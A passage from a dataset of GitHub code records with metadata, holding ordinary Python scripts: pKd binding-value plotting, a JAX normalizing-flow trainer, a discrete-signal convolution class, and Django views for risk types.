keys))]\n values = [x for _, x in sorted(zip(means, values))]\n frame = pd.DataFrame(columns=[\"Keys\", \"Values\", \"Binding\"])\n\n for i in range(len(keys)):\n for value in values[i]:\n if file_specifications['ligand_IDs'] == \"PubChem CID\":\n key = \" \".join(keys[i].split(\"_\"))\n else:\n key = keys[i]\n new_row = {'Keys': [key], 'Values': [value], \"Binding\": [\"Yes\" if value > 7 else \"No\"]}\n new_row = pd.DataFrame.from_dict(new_row)\n frame = pd.concat([frame, new_row])\n\n # Boxplot\n\n sns.boxplot(x='Keys', y='Values', data=frame, color=\"cornflowerblue\")\n sns.stripplot(x='Keys', y='Values', data=frame, linewidth=1, edgecolor=\"black\", hue=\"Binding\")\n plt.xticks(rotation=90)\n # adding cutoff line\n plt.axhline(y=7, color='r', linestyle='-')\n plt.xlabel(\"Cluster Representatives: PubChem CID and UniProt (SwissProt) Primary ID\")\n # plt.xlabel(file_specifications['ligand_IDs'] + \" and \" + file_specifications['protein_IDs'])\n plt.title(\"Boxplot of pKd values of \" + str(sample_size) + \" random Clusters\")\n plt.tight_layout()\n plt.savefig(boxplot_out_file)\n plt.clf()\n\n # Hist\n\n # pretty sure there is a nicer/faster way to do this,\n # but df.groupby doesn't consider that some hists will only have yes or no\n list_of_keys_all = list(frame[\"Keys\"])\n list_of_keys = []\n for key in list_of_keys_all:\n if key not in list_of_keys:\n list_of_keys += [key]\n\n hist_frame = pd.DataFrame(columns=[\"Keys\", \"Binding\", \"Freq\"])\n for key in list_of_keys:\n n_item = {\"Keys\": [key], \"Binding\": [\"No\"]}\n y_item = {\"Keys\": [key], \"Binding\": [\"Yes\"]}\n n_item = pd.DataFrame.from_dict(n_item)\n y_item = pd.DataFrame.from_dict(y_item)\n hist_frame = pd.concat([hist_frame, n_item])\n hist_frame = pd.concat([hist_frame, y_item])\n # hist_frame = hist_frame.append({\"Keys\": key, \"Binding\": \"No\"}, ignore_index=True)\n # hist_frame = hist_frame.append({\"Keys\": key, \"Binding\": \"Yes\"}, ignore_index=True)\n\n freq_list = []\n for _, row in hist_frame.iterrows():\n freq_list += [frame[(frame[\"Keys\"] == row[\"Keys\"]) & (frame[\"Binding\"] == row[\"Binding\"])].shape[0]]\n hist_frame[\"Freq\"] = freq_list\n\n sns.barplot(x=\"Keys\", y=\"Freq\", hue=\"Binding\", data=hist_frame)\n plt.xticks(rotation=90)\n # adding cutoff line\n plt.xlabel(\"Cluster Representatives: PubChem CID and UniProt (SwissProt) Primary ID\")\n # plt.xlabel(file_specifications['ligand_IDs'] + \" and \" + file_specifications['protein_IDs'])\n plt.ylabel(\"Frequency\")\n plt.title(\"Bar Chart of pKd values of \" + str(sample_size) + \" random Clusters\")\n plt.tight_layout()\n plt.savefig(hist_out_file)\n plt.clf()\n\n return 0\n", "repo_name": "Lanorius/dataset_creation", "sub_path": "src/functions.py", "file_name": "functions.py", "file_ext": "py", "file_size_in_byte": 22757, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "85", "api": [{"api_name": "pandas.DataFrame", "line_number": 32, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 34, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 35, "usage_type": "call"}, {"api_name": "ast.literal_eval", "line_number": 40, "usage_type": "call"}, {"api_name": "pandas.to_numeric", "line_number": 46, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 50, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 67, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 88, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 91, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 105, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 135, "usage_type": "call"}, {"api_name": "numpy.log10", "line_number": 136, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 151, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 153, "usage_type": "call"}, {"api_name": "math.isfinite", "line_number": 158, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 161, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 161, "usage_type": "name"}, {"api_name": "math.ceil", "line_number": 161, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 162, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 162, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 163, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 163, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 172, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 172, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 173, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 173, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 174, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 174, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 183, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 183, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 184, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 184, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 185, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 185, "usage_type": "name"}, {"api_name": "subprocess.call", "line_number": 207, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 234, "usage_type": "call"}, {"api_name": "subprocess.run", "line_number": 237, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 240, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 256, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 277, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 298, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 299, "usage_type": "call"}, {"api_name": "pandas.core", "line_number": 304, "usage_type": "attribute"}, {"api_name": "pandas.read_csv", "line_number": 307, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 308, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 335, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 341, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 342, "usage_type": "call"}, {"api_name": "traceback.format_exc", "line_number": 354, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 357, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 358, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 363, "usage_type": "attribute"}, {"api_name": "silx.io.dictdump.dicttoh5", "line_number": 364, "usage_type": "call"}, {"api_name": "silx.io.dictdump.h5todict", "line_number": 405, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 419, "usage_type": "call"}, {"api_name": "statistics.mean", "line_number": 422, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 425, "usage_type": "call"}, {"api_name": "pandas.DataFrame.from_dict", "line_number": 434, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 434, "usage_type": "attribute"}, {"api_name": "pandas.concat", "line_number": 435, "usage_type": "call"}, {"api_name": "seaborn.boxplot", "line_number": 439, "usage_type": "call"}, {"api_name": "seaborn.stripplot", "line_number": 440, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 441, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 441, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axhline", "line_number": 443, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 443, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 444, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 444, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 446, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 446, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 447, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 447, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 448, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 448, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 449, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 449, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 461, "usage_type": "call"}, {"api_name": "pandas.DataFrame.from_dict", "line_number": 465, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 465, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame.from_dict", "line_number": 466, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 466, "usage_type": "attribute"}, {"api_name": "pandas.concat", "line_number": 467, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 468, "usage_type": "call"}, {"api_name": "seaborn.barplot", "line_number": 477, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 478, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 478, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 480, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 480, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 482, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 482, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 483, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 483, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 484, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 484, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 485, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 485, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.clf", "line_number": 486, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 486, "usage_type": "name"}]} +{"seq_id": "23424495406", "text": "from absl import app, flags, logging\n\nimport jax.numpy as np\nfrom jax import grad, jit, random\nfrom jax.experimental.optix import adam\n\nimport flows\nimport optimisation\nimport sd\n\nflags.DEFINE_integer('N', 1, 'Number of sequential flows applied')\nflags.DEFINE_integer('K', 1, 'Number of radial components per flow')\nflags.DEFINE_float('lr', 2e-4, 'Learning rate')\nflags.DEFINE_integer('batch', 256, 'Batch size')\nflags.DEFINE_integer('iterations', 20000, 'Number of training iterations')\nflags.DEFINE_integer('samples', 20000, 'Number of samples used for evaluation')\nflags.DEFINE_boolean('plot', False, 'Plot resulting model density')\n\nFLAGS = flags.FLAGS\n\n\ndef data_stream():\n _rng = random.PRNGKey(0)\n while True:\n _rng, rng_input = random.split(_rng)\n yield sd.sample_sd(rng_input, 2, FLAGS.batch)\n\n\ndef main(_):\n rng = random.PRNGKey(1)\n\n init_fun, apply_fun = flows.serial(\n *[flows.ExponentialMapSumRadialFlow(FLAGS.K, 2)\n for _ in range(FLAGS.N)]\n )\n params = init_fun(rng)\n opt_init, opt_update = adam(FLAGS.lr)\n opt_state = opt_init(params)\n\n @jit\n def loss(params, inputs):\n prior_log_prob = np.log(1 / (4 * np.pi)) * np.ones(inputs.shape[0])\n z, ldjs = apply_fun(params, inputs)\n return (prior_log_prob - ldjs -\n np.log(optimisation.s2_target(z))).mean()\n\n @jit\n def update(opt_state, params, batch):\n grads = grad(loss)(params, batch)\n updates, opt_state = opt_update(grads, opt_state)\n params = optimisation.apply_updates(params, updates)\n return opt_state, params\n\n batches = data_stream()\n uniform_s2_samples = sd.sample_sd(rng, 2, FLAGS.samples)\n for i in range(1, FLAGS.iterations + 1):\n opt_state, params = update(opt_state, params, next(batches))\n if not (i % (FLAGS.iterations // 10)):\n msg = \"Iter {} | Loss {:.3f}\"\n logging.info(msg.format(i, loss(params, uniform_s2_samples)))\n\n model_samples, ldjs = apply_fun(params, uniform_s2_samples)\n log_prob = np.log(1 / (4 * np.pi)) * np.ones(FLAGS.samples) - ldjs\n _, kl, ess = optimisation.kl_ess(\n log_prob, optimisation.s2_target(model_samples))\n\n msg = \"KL = {:.2f} | ESS {:.0f}%\"\n logging.info(msg.format(kl, ess / FLAGS.samples * 100))\n if FLAGS.plot:\n import plotting\n plotting.plot_model_density(model_samples)\n\n\nif __name__ == '__main__':\n app.run(main)\n", "repo_name": "katalinic/sdflows", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 2448, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 14, "dataset": "github-code", "pt": "85", "api": [{"api_name": "absl.flags.DEFINE_integer", "line_number": 11, "usage_type": "call"}, {"api_name": "absl.flags", "line_number": 11, "usage_type": "name"}, {"api_name": "absl.flags.DEFINE_integer", "line_number": 12, "usage_type": "call"}, {"api_name": "absl.flags", "line_number": 12, "usage_type": "name"}, {"api_name": "absl.flags.DEFINE_float", "line_number": 13, "usage_type": "call"}, {"api_name": "absl.flags", "line_number": 13, "usage_type": "name"}, {"api_name": "absl.flags.DEFINE_integer", "line_number": 14, "usage_type": "call"}, {"api_name": "absl.flags", "line_number": 14, "usage_type": "name"}, {"api_name": "absl.flags.DEFINE_integer", "line_number": 15, "usage_type": "call"}, {"api_name": "absl.flags", "line_number": 15, "usage_type": "name"}, {"api_name": "absl.flags.DEFINE_integer", "line_number": 16, "usage_type": "call"}, {"api_name": "absl.flags", "line_number": 16, "usage_type": "name"}, {"api_name": "absl.flags.DEFINE_boolean", "line_number": 17, "usage_type": "call"}, {"api_name": "absl.flags", "line_number": 17, "usage_type": "name"}, {"api_name": "absl.flags.FLAGS", "line_number": 19, "usage_type": "attribute"}, {"api_name": "absl.flags", "line_number": 19, "usage_type": "name"}, {"api_name": "jax.random.PRNGKey", "line_number": 23, "usage_type": "call"}, {"api_name": "jax.random", "line_number": 23, "usage_type": "name"}, {"api_name": "jax.random.split", "line_number": 25, "usage_type": "call"}, {"api_name": "jax.random", "line_number": 25, "usage_type": "name"}, {"api_name": "sd.sample_sd", "line_number": 26, "usage_type": "call"}, {"api_name": "jax.random.PRNGKey", "line_number": 30, "usage_type": "call"}, {"api_name": "jax.random", "line_number": 30, "usage_type": "name"}, {"api_name": "flows.serial", "line_number": 32, "usage_type": "call"}, {"api_name": "flows.ExponentialMapSumRadialFlow", "line_number": 33, "usage_type": "call"}, {"api_name": "jax.experimental.optix.adam", "line_number": 37, "usage_type": "call"}, {"api_name": "jax.numpy.log", "line_number": 42, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 42, "usage_type": "name"}, {"api_name": "jax.numpy.pi", "line_number": 42, "usage_type": "attribute"}, {"api_name": "jax.numpy.ones", "line_number": 42, "usage_type": "call"}, {"api_name": "jax.numpy.log", "line_number": 45, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 45, "usage_type": "name"}, {"api_name": "optimisation.s2_target", "line_number": 45, "usage_type": "call"}, {"api_name": "jax.jit", "line_number": 40, "usage_type": "name"}, {"api_name": "jax.grad", "line_number": 49, "usage_type": "call"}, {"api_name": "optimisation.apply_updates", "line_number": 51, "usage_type": "call"}, {"api_name": "jax.jit", "line_number": 47, "usage_type": "name"}, {"api_name": "sd.sample_sd", "line_number": 55, "usage_type": "call"}, {"api_name": "absl.logging.info", "line_number": 60, "usage_type": "call"}, {"api_name": "absl.logging", "line_number": 60, "usage_type": "name"}, {"api_name": "jax.numpy.log", "line_number": 63, "usage_type": "call"}, {"api_name": "jax.numpy", "line_number": 63, "usage_type": "name"}, {"api_name": "jax.numpy.pi", "line_number": 63, "usage_type": "attribute"}, {"api_name": "jax.numpy.ones", "line_number": 63, "usage_type": "call"}, {"api_name": "optimisation.kl_ess", "line_number": 64, "usage_type": "call"}, {"api_name": "optimisation.s2_target", "line_number": 65, "usage_type": "call"}, {"api_name": "absl.logging.info", "line_number": 68, "usage_type": "call"}, {"api_name": "absl.logging", "line_number": 68, "usage_type": "name"}, {"api_name": "plotting.plot_model_density", "line_number": 71, "usage_type": "call"}, {"api_name": "absl.app.run", "line_number": 75, "usage_type": "call"}, {"api_name": "absl.app", "line_number": 75, "usage_type": "name"}]} +{"seq_id": "20295756245", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu May 14 08:57:44 2015\n\n@author: Murilo Camargos\n\nO segundo trabalho prático da disciplina Sinais e Sistemas consistiu na imple-\nmentação de um algoritmo em Python para realização da convolução entre dois si-\nnais de tempo discreto (finitos).\n\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nclass DSignal(object):\n \"\"\"\n Esta classe representa sinais de tempo discreto.\n \"\"\"\n \n def __init__(self, dom, img):\n \"\"\"\n O construtor recebe o sinal de entrada e define as constantes iniciais\n de operação.\n \n Parametros\n +--------+-------------+----------------------------------------------+\n | Nome | Tipo | Descrição |\n +--------+-------------+----------------------------------------------+\n | | int ou | É o domínio do sinal de entrada (variável in-|\n | | list ou | dependente). Caso seja list, tuple ou numpy. |\n | dom | tuple ou | array, ele será o conjunto domínio. Caso seja|\n | | numpy.array | inteiro, o conjunto será gerado a partir dele|\n | | | com tamanho igual ao da imagem. |\n +--------+-------------+----------------------------------------------+\n | | list ou | São os valores que a variável dependente as- |\n | img | tuple ou | sume no intervalo de domínio dado. |\n | | numpy.array | |\n +--------+-------------+----------------------------------------------+\n \n \"\"\"\n \n # Inicialmente, estes atributos são iguais ao elemento Nulo do python.\n # Ele terá serventia quando o usuário fizer uma convolução e quiser\n # plotar os gráficos dos sinais e do resultado da convolução; para isso\n # teremos que armazenar os dois sinais em duas variáveis.\n self.sig1 = self.sig2 = None\n \n # Só aceita conjuntos de imagem formados por listas, tuplas ou arrays\n # do numpy.\n if type(img) in [list, tuple, np.ndarray]:\n self.img = np.array(img)\n else:\n raise ValueError('You must provide a list, tuple or numpy.array.')\n \n # Só aceita conjuntos de domínio formados por listas, tuplas ou arrays\n # do numpy.\n if type(dom) == int:\n # Caso o usuário forneça apenas o instante inicial do sinal, o do-\n # mínio será criado iniciando-se desse valor com a mesma cardinali-\n # dade do conjunto imagem.\n self.dom = np.arange(dom, dom + len(self.img))\n elif type(dom) in [list, tuple, np.ndarray]:\n # Não deixa que o usuário insira um conjunto de domínio com cardina-\n # lidade diferente ao conjunto imagem.\n if len(dom) != len(self.img):\n raise ValueError(\"The domain set must have the same size of the image set.\")\n self.dom = np.array(dom)\n else:\n raise ValueError('You must provide a list, tuple or numpy.array.')\n \n def __neg__(self):\n \"\"\"\n Esta função é chamada sempre que o usuário utilizar o operador de sub-\n tração (-) antes de uma instância da classe DSignal.\n \n Retorna\n +--------+-------------+----------------------------------------------+\n | Nome | Tipo | Descrição |\n +--------+-------------+----------------------------------------------+\n | | | Retorna uma nova instância da classe DSignal.|\n | | DSignal | Ou seja, um novo sinal, que será o sinal ini-|\n | | | cial \"rebatido\", ou x[-n] |\n +--------+-------------+----------------------------------------------+\n \n \"\"\"\n return DSignal(-self.dom[::-1], self.img[::-1])\n \n def __getitem__(self, key):\n \"\"\"\n Esta função é chamada sempre que o usuário tentar acessar um elemento\n da instância da classe DSignal utilizando a notação de colchetes (como\n se faz para acessar um elemento de uma lista, por exemplo). Neste caso,\n intuitivamente, o usuário estará avaliando o sinal (função) num valor\n passado por parâmetro: x[5], por exemplo.\n \n Parametros\n +--------+-------------+----------------------------------------------+\n | Nome | Tipo | Descrição |\n +--------+-------------+----------------------------------------------+\n | key | int | É o valor da variável independente n, que se |\n | | | deseja saber o valor. |\n +--------+-------------+----------------------------------------------+\n \n Retorna\n +--------+-------------+----------------------------------------------+\n | Nome | Tipo | Descrição |\n +--------+-------------+----------------------------------------------+\n | | | Retorna o valor da variável dependente quando|\n | | decimal | a variável independente é igual ao parâmetro |\n | | | \"key\". |\n +--------+-------------+----------------------------------------------+\n \n \"\"\"\n \n # Caso o sinal não esteja definido no valor de variável independente\n # recebido, retorna 0\n if key in self.dom:\n return self.img[list(self.dom).index(key)]\n return 0\n \n def __pow__(self, sig):\n \"\"\"\n Esta função realiza a convolução entre dois sinais. Ela sobrecarrega o\n operador de potenciação do python para que quando o usuário utilizar a\n operação: DSignal ** DSignal, o resultado seja um novo DSignal que é\n exatamente a convolução entre os dois primeiros.\n \n Retorna\n +--------+-------------+----------------------------------------------+\n | Nome | Tipo | Descrição |\n +--------+-------------+----------------------------------------------+\n | | | Retorna uma nova instância da classe DSignal.|\n | | DSignal | Ou seja, um novo sinal, que será a convolução|\n | | | dos dois sinais envolvidos na operação. |\n +--------+-------------+----------------------------------------------+\n \n \"\"\"\n \n # Só realiza a operação se a potência for uma instância de DSignal.\n if type(sig) != DSignal:\n raise ValueError('You must provide another DSignal.')\n \n # O sinal sig2 é o segundo sinal da operação. Ele será rebatido, pois é\n # ele quem irá se movimentar.\n sig2 = -sig\n sig1 = self\n \n # Calcula o instante inicial e final em que o somatório de convolução\n # será diferente de zero.\n ni = sig1.dom[0] - sig2.dom[-1]\n nf = sig1.dom[-1] - sig2.dom[0]\n domConv = np.arange(ni, nf + 1)\n \n # Como sig2 irá se movimentar, deve-se posicioná-lo uma unidade atrás\n # do instante inicial da convolução.\n sig2.dom += domConv[0] - 1\n \n yn = []\n for n in domConv:\n # movimenta o domínio de sig2 de uma em uma unidade até chegar no\n # instante final da convolução\n sig2.dom += 1\n \n # Interseção entre os domínios dos dois sinais. É onde poderá haver\n # algum valor diferente de zero na multiplicação.\n inter = set(sig1.dom) & set(sig2.dom)\n\n yn += [sum([sig1[i] * sig2[i] for i in inter])]\n \n # Retorna o sinal resultante da convolução, mas salva no mesmo objeto\n # os sinais utilizados na operação, para que eles possam ser plotados\n # caso o usuário queira.\n convolved = DSignal(domConv, yn)\n convolved.sig1 = sig1\n convolved.sig2 = sig\n \n return convolved\n \n def plot(self, title = 'Signal', padding = 1, conv = False):\n \"\"\"\n Esta função é responsável pela plotagem dos sinais.\n \n Parametros\n +---------+-------------+---------------------------------------------+\n | Nome | Tipo | Descrição |\n +---------+-------------+---------------------------------------------+\n | title | string | É o título que será colocado no gráfico. |\n +---------+-------------+---------------------------------------------+\n | padding | int | Espaçamento dentro do espaço de plotagem. |\n +---------+-------------+---------------------------------------------+\n | conv | boolean | Identifica se o usuário quer plotar os três |\n | | | gráficos: sinal 1, sinal 2 e convolução. |\n +---------+-------------+---------------------------------------------+\n \n \"\"\"\n \n pad_min = lambda arr: min(arr) - padding\n pad_max = lambda arr: max(arr) + padding\n axis = lambda x,y: [pad_min(x), pad_max(x), pad_min(y), pad_max(y)]\n \n # Para imprimir os gráficos dos três sinais, conv deve ser True e o obj\n # deve possuir os sinais 1 e 2 salvos nos atributos.\n if conv == True and type(self.sig1) == DSignal and type(self.sig2) == DSignal:\n fig, ((ax1,ax2,ax3)) = plt.subplots(1, 3, sharex='col', sharey='row')\n \n ax1.stem(self.sig1.dom, self.sig1.img, linefmt='b')\n ax1.set_title('Signal 1')\n ax1.axis(axis(sig1.dom, sig1.img))\n \n ax2.stem(self.sig2.dom, self.sig2.img)\n ax2.set_title('Signal 2')\n ax2.axis(axis(sig2.dom, sig2.img))\n \n ax3.stem(self.dom, self.img)\n ax3.set_title('Convolution')\n ax3.axis(axis(self.dom, self.img))\n \n # Caso contrário, plota apenas o gráfico do objeto.\n else:\n plt.stem(self.dom, self.img, linefmt='b')\n plt.axis(axis(self.dom, self.img))\n plt.title(title)\n plt.show()", "repo_name": "murilocamargos/sinais-e-sistemas", "sub_path": "TPII/TPII.py", "file_name": "TPII.py", "file_ext": "py", "file_size_in_byte": 10599, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "85", "api": [{"api_name": "numpy.ndarray", "line_number": 51, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.ndarray", "line_number": 63, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 153, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 205, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 205, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.stem", "line_number": 221, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 221, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 222, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 222, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 223, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 223, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 224, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 224, "usage_type": "name"}]} +{"seq_id": "12448762791", "text": "from django.shortcuts import get_object_or_404, render\nfrom django.http import HttpResponse\nfrom django.views import View\nfrom django.core import serializers\nfrom .models import RiskType, Field, NumberField, DateField, TextField\nimport json\nfrom django.http import JsonResponse\nimport datetime\n\n\nclass IndexView(View):\n\n def get(self, request):\n return render(request, 'BriteCore/index.html')\n\nclass RiskTypeView(View):\n\n def get(self, request, taipe):\n risk_type = get_object_or_404(RiskType, slug=taipe).getDict()\n risk_type['fields'] = []\n for x in Field.objects.filter(risk_type=risk_type['id']):\n risk_type['fields'].append(x.getDict())\n return JsonResponse(risk_type)\n\n\nclass AllRiskTypeView(View):\n\n def get(self,request):\n risk_types = json.loads(serializers.serialize('json', RiskType.objects.all().exclude(slug='')))\n for x in risk_types:\n x['fields']['fields'] = json.loads(serializers.serialize('json', Field.objects.filter(risk_type=x['pk'])))\n fields = x['fields']\n fields2 = x['fields']['fields']\n fields['fields'] = []\n for y in fields2:\n del y['fields']['risk_type']\n fields['fields'].append(y['fields'])\n x.clear()\n x.update(fields)\n\n return JsonResponse(risk_types, safe=False)\n\n def post(self,request):\n post_data = json.loads(request.body)\n risk_type= get_object_or_404(RiskType, slug=post_data['slug'])\n new_risk_type = RiskType(title=risk_type.title)\n new_risk_type.save()\n for x in post_data['fields']:\n field_object = get_object_or_404(Field, slug=x['slug'], field_type=x['field_type'], risk_type=risk_type)\n new_field_object = Field(title=field_object.title, risk_type=new_risk_type, field_type=field_object.field_type)\n new_field_object.save()\n value = \"\"\n if field_object.field_type == 'Text':\n value = TextField(field=new_field_object, value=x['value'])\n\n if field_object.field_type == 'Number':\n value = NumberField(field=new_field_object, value=x['value'])\n\n if field_object.field_type == 'Date':\n value = DateField(field=new_field_object, value=x['value'])\n value.save()\n\n return HttpResponse('')\n\n\n\n\n\n", "repo_name": "ToluFash/BriteCoreDRT", "sub_path": "BCDRT/main/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 2395, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "85", "api": [{"api_name": "django.views.View", "line_number": 11, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 14, "usage_type": "call"}, {"api_name": "django.views.View", "line_number": 16, "usage_type": "name"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 19, "usage_type": "call"}, {"api_name": "models.RiskType", "line_number": 19, "usage_type": "argument"}, {"api_name": "models.Field.objects.filter", "line_number": 21, "usage_type": "call"}, {"api_name": "models.Field.objects", "line_number": 21, "usage_type": "attribute"}, {"api_name": "models.Field", "line_number": 21, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 23, "usage_type": "call"}, {"api_name": "django.views.View", "line_number": 26, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 29, "usage_type": "call"}, {"api_name": "django.core.serializers.serialize", "line_number": 29, "usage_type": "call"}, {"api_name": "django.core.serializers", "line_number": 29, "usage_type": "name"}, {"api_name": "models.RiskType.objects.all", "line_number": 29, "usage_type": "call"}, {"api_name": "models.RiskType.objects", "line_number": 29, "usage_type": "attribute"}, {"api_name": "models.RiskType", "line_number": 29, "usage_type": "name"}, {"api_name": "json.loads", "line_number": 31, "usage_type": "call"}, {"api_name": "django.core.serializers.serialize", "line_number": 31, "usage_type": "call"}, {"api_name": "django.core.serializers", "line_number": 31, "usage_type": "name"}, {"api_name": "models.Field.objects.filter", "line_number": 31, "usage_type": "call"}, {"api_name": "models.Field.objects", "line_number": 31, "usage_type": "attribute"}, {"api_name": "models.Field", "line_number": 31, "usage_type": "name"}, {"api_name": "django.http.JsonResponse", "line_number": 41, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 44, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 45, "usage_type": "call"}, {"api_name": "models.RiskType", "line_number": 45, "usage_type": "argument"}, {"api_name": "models.RiskType", "line_number": 46, "usage_type": "call"}, {"api_name": "django.shortcuts.get_object_or_404", "line_number": 49, "usage_type": "call"}, {"api_name": "models.Field", "line_number": 49, "usage_type": "argument"}, {"api_name": "models.Field", "line_number": 50, "usage_type": "call"}, {"api_name": "models.TextField", "line_number": 54, "usage_type": "call"}, {"api_name": "models.NumberField", "line_number": 57, "usage_type": "call"}, {"api_name": "models.DateField", "line_number": 60, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 63, "usage_type": "call"}]} +{"seq_id": "1916194050", "text": "\"\"\"Extensions to dataset classes from TAPE Repository: https://github.com/songlab-cal/tape\nDate Change\n---------- ---------------------\n05/01/2020 Added Binding Site dataset class\n Added one-vs-all Secondary structure dataset class\n\n\"\"\"\n\nfrom pathlib import 